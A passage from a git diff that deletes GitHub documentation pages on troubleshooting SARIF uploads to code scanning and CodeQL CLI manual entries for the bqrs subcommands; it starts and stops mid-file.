dataflow paths from the output](#omitting-dataflow-paths-from-the-output). - -## Fixing the problem - -The following options are listed in order of complexity. You need to revise the configuration to reduce the number of results to a manageable size. Once you have fixed all of those alerts, you can update the configuration to expand the analysis to cover more code or run more queries. - -### Excluding code from analysis for interpreted languages - -Excluding non-production code from analysis is a simple way to reduce the size of the results file. - -* {% data variables.product.prodname_codeql %} advanced setup for {% data variables.product.prodname_code_scanning %}: use `paths` and `paths-ignore` in the workflow file to specify what code to analyze. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). -* {% data variables.product.prodname_codeql_cli %} `database create`: create a YAML configuration file for code scanning using the same syntax to define which code to analyze. Update the `database create` command to call this configuration file using the `--codescanning-config` option. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). - -### Optimizing the build command - -Using a build command that compiles only one variant is a simple way to reduce the size of the results file. - -* {% data variables.product.prodname_codeql %} advanced setup for {% data variables.product.prodname_code_scanning %}: update the workflow file to specify your chosen build command. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages#adding-build-steps-for-a-compiled-language). -* {% data variables.product.prodname_codeql_cli %} `database create`: specify your chosen build command either by calling the `database create` command with the `--command` option, or by defining the build command in a YAML configuration file for code scanning and calling the file using the `--codescanning-config` option. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#specifying-build-commands). - -### Defining the query suite to run - -You may already be running only the default security queries, but it is worth checking. - -* {% data variables.product.prodname_codeql %} advanced setup for {% data variables.product.prodname_code_scanning %}: check the workflow file for the `queries` keyword. If it is not present, then only the default query suite is run. If it is present, it defines which queries to run. Try commenting out this line of the workflow file. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#using-queries-in-ql-packs). -* {% data variables.product.prodname_codeql_cli %} `database analyze`: check the database analysis command for any paths that specify queries, query suites, or query packs. If none are present, then only the default query suite is run. If any are present, they define which queries to run, you can try removing them from the call. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries#running-a-codeql-query-pack). - -### Excluding a query from analysis - -If the results are dominated by the results for a single rule, excluding the rule from the analysis may be the best solution. - -* {% data variables.product.prodname_codeql %} advanced setup for {% data variables.product.prodname_code_scanning %}: use the `query-filters` keyword to exclude one or more queries from analysis. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#excluding-specific-queries-from-analysis). -* {% data variables.product.prodname_codeql_cli %} `database analyze`: update the database analysis command to exclude one or more queries from analysis. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries#running-a-subset-of-queries-in-a-codeql-pack). - -Alternatively, you can use a tool like the [filter-sarif](https://github.com/advanced-security/filter-sarif) action to rewrite the SARIF file to exclude specific detections via an exclusion pattern. - -### Omitting dataflow paths from the output - -If there are many deep code paths highlighted in the SARIF results, you can reduce the number of paths reported for each alert. - -{% data reusables.code-scanning.max-paths-setting %} - -## Further reading - -* [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/ghas-required.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/ghas-required.md deleted file mode 100644 index 98dff958e07f..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/ghas-required.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 'Upload fails because {% data variables.product.prodname_GH_advanced_security %} is disabled' -shortTitle: '{% data variables.product.prodname_GH_advanced_security %} disabled' -allowTitleToDifferFromFilename: true -intro: 'You can only upload SARIF results to {% ifversion fpt or ghec %}private or internal {% endif %}repositories where {% data variables.product.prodname_GH_code_security %} is enabled.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/ghas-required ---- - -## About this error - -```text -{% data variables.product.prodname_GH_advanced_security %} not enabled -{% data variables.product.prodname_GH_advanced_security %} blocked by a policy -403: {% data variables.product.prodname_GH_advanced_security %} is not enabled -``` - -This error is reported if a process attempts to upload a SARIF file to a repository where {% data variables.product.prodname_GH_code_security %} is not enabled or where use of this feature is blocked by a policy. - -You will only see this error for SARIF files that contain results created using {% data variables.product.prodname_codeql %}{% ifversion fpt or ghec %} and for uploads to repositories with private or internal visibility. {% data variables.product.prodname_GH_code_security %} is enabled by default for all public repositories{% endif %}. - -For information on how to confirm this error and fix the problem, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-code-scanning/advanced-security-must-be-enabled). diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/index.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/index.md deleted file mode 100644 index 1c0149b8e2a6..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Troubleshooting SARIF uploads -intro: 'Learn how to resolve problems uploading SARIF files of {% data variables.product.prodname_code_scanning %} results to {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - Integration -children: - - /ghas-required - - /default-setup-enabled - - /missing-token - - /sarif-invalid - - /file-too-large - - /results-exceed-limit -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif ---- diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/missing-token.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/missing-token.md deleted file mode 100644 index 80c7951c63ef..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/missing-token.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 'GitHub token is required to upload SARIF results' -shortTitle: GitHub token missing -allowTitleToDifferFromFilename: true -intro: 'You need to provide an authentication method for the upload process to use to access the repository.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/missing-token ---- - -## About this error - -```text -A GitHub token is required to upload SARIF results but none was specified -``` - -This error is reported if the upload process does not reference an authentication method, or if that method has the wrong permission. The permissions required to upload SARIF file to a repository are the same no matter what process you use to upload the data. - -* Fine-grained {% data variables.product.pat_generic_plural %} require `write` scope for the repository. -* Classic {% data variables.product.pat_generic_plural %} require `security_events` scope for the repository{% ifversion fpt or ghec %} for private or internal repositories. You can use tokens with the `public_repo` scope for public repositories.{% endif %} -* {% data variables.product.prodname_github_apps %} require `security_events` scope for the repository. - -You could see this error for SARIF files created using any tool and uploaded using any method. - -## Fixing the problem - -Create a new {% data variables.product.pat_generic %} or {% data variables.product.prodname_github_app %} with the correct permission. For more information see, [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens), or [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app). diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/results-exceed-limit.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/results-exceed-limit.md deleted file mode 100644 index a1b4c8505f1d..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/results-exceed-limit.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 'SARIF results exceed one or more limits' -shortTitle: Results exceed limits -allowTitleToDifferFromFilename: true -intro: 'Learn how to resolve problems when a SARIF file is rejected by {% data variables.product.prodname_code_scanning %} because one or more limits is exceeded.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/results-exceed-limit ---- - -## About {% data variables.product.prodname_code_scanning %} limits on SARIF results - -```text -# SARIF results exceed soft limits - Locations for an alert exceeded limits - Analysis SARIF file exceeded alert limits - Rule tags in SARIF file exceed limits - Alert in SARIF upload exceeded thread flow location limits - Repository is at risk of exceeding the alert limit. - -# SARIF results exceed hard limit - Alert(s) in SARIF file exceeded thread flow location limits - Analysis SARIF file rejected due to extension limits - Analysis SARIF file rejected due to location limit - Analysis SARIF file rejected due to rule tag limits - Analysis SARIF file rejected due to result limits - Analysis SARIF file rejected due to rule limits - Analysis SARIF file rejected due to run limits - All analysis uploads blocked due to alert limit -``` - -{% data variables.product.prodname_code_scanning_caps %} sets two types of limits on fields in SARIF results files. - -* Soft limits which determine how much data is stored and displayed to users. -* Hard limits which determine the maximum amount of data accepted for processing. - -You could see these errors for SARIF files generated by {% data variables.product.prodname_codeql %} or by third-party analysis tools. - -{% data reusables.code-scanning.sarif-limits %} - -For information about validating your SARIF file, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#validating-your-sarif-file). - -## Fixing soft limit errors - -When soft limits are exceeded, {% data variables.product.prodname_code_scanning %} shows the highest priority information. Often you do not need to make any changes to your {% data variables.product.prodname_code_scanning %} configuration. As your team fixes alerts, the number of results reported in each run will reduce until they are within the soft limits and all results are displayed. Alternatively, you can use the approaches described for hard limit errors. - -## Fixing "Analysis SARIF file rejected due to results limits" - -There are many considerations and potential solutions for reducing the number of results included in a SARIF results file. For guidance, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large). - -## Fixing "Alert(s) in SARIF file exceeded thread flow location limits" - -You can configure the analysis to limit the number of dataflow paths included in the results. By default, 4 dataflow paths are included for each result. - -{% data reusables.code-scanning.max-paths-setting %} - -## Fixing "Analysis SARIF file rejected due to run limits" - -The simplest approach is generate a new SARIF file for each run and upload each file separately. You add a "category" to each results and this enables {% data variables.product.prodname_code_scanning %} to store and display the results appropriately. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#uploading-more-than-one-sarif-file-for-a-commit). - -## Fixing "Analysis SARIF file rejected due to rule limits" - -There are two possible approaches here. - -1. Reduce the number of rules you use to analyze the code. For more information, see [Defining the query suite to run](/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large#defining-the-query-suite-to-run) and [Excluding a query from analysis](/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large#excluding-a-query-from-analysis) in "SARIF results file too large." -1. Run the analysis twice, each time with a different set of rules, and upload both results files to {% data variables.product.prodname_code_scanning %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#uploading-more-than-one-sarif-file-for-a-commit). - -## Fixing "Analysis SARIF file rejected due to extension limits" - -The simplest approach is to create a separate SARIF file each time you run the tool and upload each file separately. You may also need to contact the maintainer of the tool. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#uploading-more-than-one-sarif-file-for-a-commit). - -{% data variables.product.prodname_codeql %} analysis should not generate this error. If you see this error while using the {% data variables.product.prodname_codeql %} action or {% data variables.product.prodname_codeql_cli %}, you should contact {% data variables.contact.github_support %} to let us know. For more information, see [AUTOTITLE](/support/contacting-github-support). - -## Fixing "Analysis SARIF file rejected due to location limit" - -The best way to resolve this problem is usually to identify the query that reports too many locations and exclude it from analysis. For information on how to do this, see [AUTOTITLE](/code-security/code-scanning/troubleshooting-sarif-uploads/file-too-large#excluding-a-query-from-analysis). - -## Fixing "Analysis SARIF file rejected due to rule tag limits" - -You need to update the SARIF file or the generator so that the array of tags reported for each `reportingDescriptor` object is fewer than 10. For more information, see `properties.tags[]` in [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#reportingdescriptor-object). - -## Fixing "Repository is at risk of exceeding the alert limit" & "All analysis uploads blocked due to alert limit" - -This limit is triggered by a repository producing more unique alerts than should ever exist as part of a well functioning {% data variables.product.prodname_code_scanning %} configuration. -It is possible that this is due to the output of a third-party tool being used, and may not be a user configuration error. -Both user configuration error and tool vendor error are possible causes. - -There are a few steps to fix this problem. - -1. Look at the SARIF files you are producing to identify the cause of {% data variables.product.prodname_code_scanning %} alerts being classed as distinct across runs of a tool. Usually this is due to one of the following: - * The SARIF `artifactLocation.uri` property (filepath in the {% data variables.product.prodname_code_scanning %} alert user interface) is not deterministic due to the inclusion of temporary directories or generated file names. - * The tool used produces unstable SARIF rule names or `artifactLocation object uri property` values, which is usually the result of using hashes (from git commits or docker image SHAs, for example) or other sources of data that change across runs or environments. -1. Once you have identified the source of the issue, you should update your configuration accordingly, and contact the tool vendor if their tool is the source of the unstable SARIF results. -1. Stop uploading code scanning results for any third-party tools that produce non-deterministic output until they have been fixed by the tool vendor. - -### Additional steps for "All analysis uploads blocked due to alert limit" - -On top of fixing the code scanning configuration and removing or fixing the output of third-party tools, you will need to contact {% data variables.contact.contact_support %} to assist you in deleting the alerts for any offending configurations. - -**There is no self-service method for deleting alerts at this time, so contacting customer support is necessary before code-scanning can be re-enabled.** diff --git a/content/code-security/code-scanning/troubleshooting-sarif-uploads/sarif-invalid.md b/content/code-security/code-scanning/troubleshooting-sarif-uploads/sarif-invalid.md deleted file mode 100644 index 24f668112f4b..000000000000 --- a/content/code-security/code-scanning/troubleshooting-sarif-uploads/sarif-invalid.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 'SARIF file is invalid' -shortTitle: SARIF file invalid -allowTitleToDifferFromFilename: true -intro: '{% data variables.product.prodname_code_scanning_caps %} can only process syntactically valid SARIF files. Invalid files are rejected.' -type: reference -topics: - - Code scanning - - Errors - - SARIF - - Troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/troubleshooting-sarif/sarif-invalid ---- - -## About this error - -```text -Invalid SARIF -SARIF file invalid -SARIF ZIP upload is invalid -400: Bad Request if the sarif field is invalid -``` - -One of these errors is reported if {% data variables.product.prodname_code_scanning %} cannot parse the SARIF file. - -You are unlikely to see this error when using {% data variables.product.prodname_codeql %} analysis. - -## Confirming the cause of the error - -You can investigate the underlying cause of the error by looking at the log for the workflow run that uploaded the analysis and by checking the SARIF file in a validator. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs) and visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). - -## Fixing the problem - -After you identify the invalid parts of the SARIF file, you may be able to resolve smaller issues manually, but you may need to talk to the maintainers of the tool. For information about validation and the format supported by {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning). diff --git a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-decode.md b/content/code-security/codeql-cli/codeql-cli-manual/bqrs-decode.md deleted file mode 100644 index adfb02b24c4f..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-decode.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: bqrs decode -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Convert result data from BQRS into other forms. -redirect_from: - - /code-security/codeql-cli/manual/bqrs-decode ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql bqrs decode [--output=<file>] [--result-set=<name>] [--sort-key=<col>[,<col>...]] <options>... -- <file> -``` - -## Description - -Convert result data from BQRS into other forms. - -The decoded output will be written to standard output, unless the -`--output` option is specified. - -## Options - -### Primary Options - -#### `<file>` - -\[Mandatory] BQRS file to decode. - -#### `-o, --output=<file>` - -The file to write the desired output to. - -#### `-r, --result-set=<name>` - -Select a particular result set from the BQRS file to decode. The -available results sets can be listed by [codeql bqrs info](/code-security/codeql-cli/codeql-cli-manual/bqrs-info). - -If no result set is selected, all result sets will be decoded, provided -the selected output format and processing options support that. -Otherwise an error results. - -#### `-k, --sort-key=<col>[,<col>...]` - -Sort the selected result set by the indicated columns. - -#### `--sort-direction=<direction>[,<direction>...]` - -Sort the selected result set using the indicated sort directions. - -If sort directions are not specified, then ascending order will be used -for all columns. - -### Output format options - -#### `--format=<fmt>` - -Select output format. Choices include: - -`text` _(default)_: A human-readable plain text table. - -`csv`: Comma-separated values. - -`json`: Streaming JSON. - -`bqrs`: BQRS. This must be used with `--output`. Most useful together -with `--sort-key`. - -#### `--no-titles` - -Omit column titles for `text` and `csv` formats - -#### `--entities=<fmt>[,<fmt>...]` - -\[Advanced] Control how result columns of entity type are shown. A -comma-separated list of the following choices: - -`url`: A URL referring to a source location, if the query was compiled -to produce such URLs for entity types. - -`string`: A string computed by the toString() method in QL, if the query -was compiled to produce such strings for the column. - -`id`: The internal ID of the entity, which may not be informative. - -`all`: Show columns with all the information the BQRS file provides. - -All the selected options are shown, if possible. - -### Options for pagination (for use by interactive front-ends) - -#### `--rows=<num>` - -\[Advanced] Output this many rows from the selected resultset, starting -at the top, or at the location given by `--start-at`. - -#### `--start-at=<offset>` - -\[Advanced] Start printing the row defined at a particular byte offset -in the BQRS file. The offset must be gotten from [codeql bqrs info](/code-security/codeql-cli/codeql-cli-manual/bqrs-info), or from the "next" pointer found in JSON output from a previous invocation with `--rows` -set. Other offsets are likely to produce nonsense output and/or explicit -errors. - -Must always be used together with `--rows`, and is incompatible with -`--sort-key`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-diff.md b/content/code-security/codeql-cli/codeql-cli-manual/bqrs-diff.md deleted file mode 100644 index e2092b1d15b4..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-diff.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: bqrs diff -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Compute the difference between two result sets. -redirect_from: - - /code-security/codeql-cli/manual/bqrs-diff ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql bqrs diff <options>... -- <file1> <file2> -``` - -## Description - -Compute the difference between two result sets. - -## Options - -### Primary Options - -#### `<file1>` - -\[Mandatory] First BQRS file to compare. - -#### `<file2>` - -\[Mandatory] Second BQRS file to compare. - -#### `--left=<file>` - -Write rows only present in `file1` to this file. - -#### `--right=<file>` - -Write rows only present in `file2` to this file. - -#### `--both=<file>` - -Write rows present in both `file1` and `file2` to this file. - -#### `--retain-result-sets=<result-set>[,<result-set>...]` - -Comma-separated list of result set names to copy directly to the -corresponding output instead of comparing. If --both is given, that -output is taken from `file1`. Defaults to 'nodes,edges,subpaths' to -simplify handling of path-problem results. - -#### `--[no-]compare-internal-ids` - -\[Advanced] Include internal entity IDs in the comparison. Entity IDs -are not comparable across databases, but for result sets that originate -from the same database this can help distinguish entities with the same -location and label. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-hash.md b/content/code-security/codeql-cli/codeql-cli-manual/bqrs-hash.md deleted file mode 100644 index 2025852c1833..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-hash.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: bqrs hash -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Compute a stable hash of a BQRS file.' -redirect_from: - - /code-security/codeql-cli/manual/bqrs-hash ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql bqrs hash <options>... -- <file> -``` - -## Description - -\[Plumbing] Compute a stable hash of a BQRS file. - -## Options - -### Primary Options - -#### `<file>` - -\[Mandatory] BQRS file to hash. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-info.md b/content/code-security/codeql-cli/codeql-cli-manual/bqrs-info.md deleted file mode 100644 index cb809a474450..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-info.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: bqrs info -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Display metadata for a BQRS file. -redirect_from: - - /code-security/codeql-cli/manual/bqrs-info ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql bqrs info <options>... -- <file> -``` - -## Description - -Display metadata for a BQRS file. - -This command displays an overview of the data contained in the compact -binary BQRS file that is the result of executing a query. It shows the -names and sizes of each result set (table) in the BQRS file, and the -column types of each result set. - -It can also optionally precompute offsets for using the pagination -options of [codeql bqrs decode](/code-security/codeql-cli/codeql-cli-manual/bqrs-decode). This is mainly useful for IDE plugins. - -## Options - -### Primary Options - -#### `<file>` - -\[Mandatory] BQRS file to show information about. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -### Supporting pagination in codeql bqrs decode - -#### `--paginate-rows=<num>` - -\[Advanced] When given together with `--format=json`, compute a table -of byte offsets that can later be given to the `--start-at` option of -[codeql bqrs decode](/code-security/codeql-cli/codeql-cli-manual/bqrs-decode), to start streaming results at positions 0, _\<num>_, 2\*_\<num>_, and so -forth. - -#### `--paginate-result-set=<name>` - -\[Advanced] Only process `--paginate-rows` for result sets with this -name. (If the name does not match any result set, `--paginate-rows` is a -no-op). - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret.md b/content/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret.md deleted file mode 100644 index c3c8b7ca2131..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret.md +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: bqrs interpret -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Interpret data in a single BQRS.' -redirect_from: - - /code-security/codeql-cli/manual/bqrs-interpret ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql bqrs interpret --format=<format> --output=<output> -t=<String=String> [--threads=<num>] [--source-archive=<sourceArchive>] [--source-location-prefix=<sourceLocationPrefix>] <options>... -- <bqrs-file> -``` - -## Description - -\[Plumbing] Interpret data in a single BQRS. - -A command that interprets a single BQRS file according to the provided -metadata and generates output in the specified format. - -## Options - -### Primary Options - -#### `<bqrs-file>` - -\[Mandatory] The BQRS file to interpret. - -#### `--format=<format>` - -\[Mandatory] The format in which to write the results. One of: - -`csv`: Formatted comma-separated values, including columns with both -rule and alert metadata. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -`graphtext`: A textual format representing a graph. Only compatible with -queries with @kind graph. - -`dgml`: Directed Graph Markup Language, an XML-based format for -describing graphs. Only compatible with queries with @kind graph. - -`dot`: Graphviz DOT language, a text-based format for describing graphs. -Only compatible with queries with @kind graph. - -#### `-o, --output=<output>` - -\[Mandatory] The output path to write results to. For graph formats -this should be a directory, and the result (or results if this command -supports interpreting more than one query) will be written within that -directory. - -#### `-t=<String=String>` - -\[Mandatory] A query metadata key value pair. Repeat for each piece of -metadata. At least the keys 'kind' and 'id' must be specified. Keys -do not need to be prefixed with @. - -#### `--max-paths=<maxPaths>` - -The maximum number of paths to produce for each alert with paths. -(Default: 4) - -#### `--[no-]sarif-add-file-contents` - -\[SARIF formats only] Include the full file contents for all files -referenced in at least one result. - -#### `--[no-]sarif-add-snippets` - -\[SARIF formats only] Include code snippets for each location mentioned -in the results, with two lines of context before and after the reported -location. - -#### `--[no-]sarif-add-query-help` - -\[SARIF formats only] \[Deprecated] Include Markdown query help for -all queries. It loads query help for /path/to/query.ql from the -/path/to/query.md file. If this flag is not supplied the default -behavior is to include help only for custom queries i.e. those in query -packs which are not of the form \`codeql/\<lang\&rt;-queries\`. This -option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--sarif-include-query-help=<mode>` - -\[SARIF formats only] Specify whether to include query help in the -SARIF output. One of: - -`always`: Include query help for all queries. - -`custom_queries_only` _(default)_: Include query help only for custom -queries i.e. those in query packs which are not of the form -\`codeql/\<lang\&rt;-queries\`. - -`never`: Do not include query help for any queries. - -This option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -Available since `v2.15.2`. - -#### `--no-sarif-include-alert-provenance` - -\[Advanced] \[SARIF formats only] Do not include alert provenance -information in the SARIF output. - -Available since `v2.18.1`. - -#### `--[no-]sarif-group-rules-by-pack` - -\[SARIF formats only] Place the rule object for each query under its -corresponding QL pack in the `<run>.tool.extensions` property. This -option has no effect when 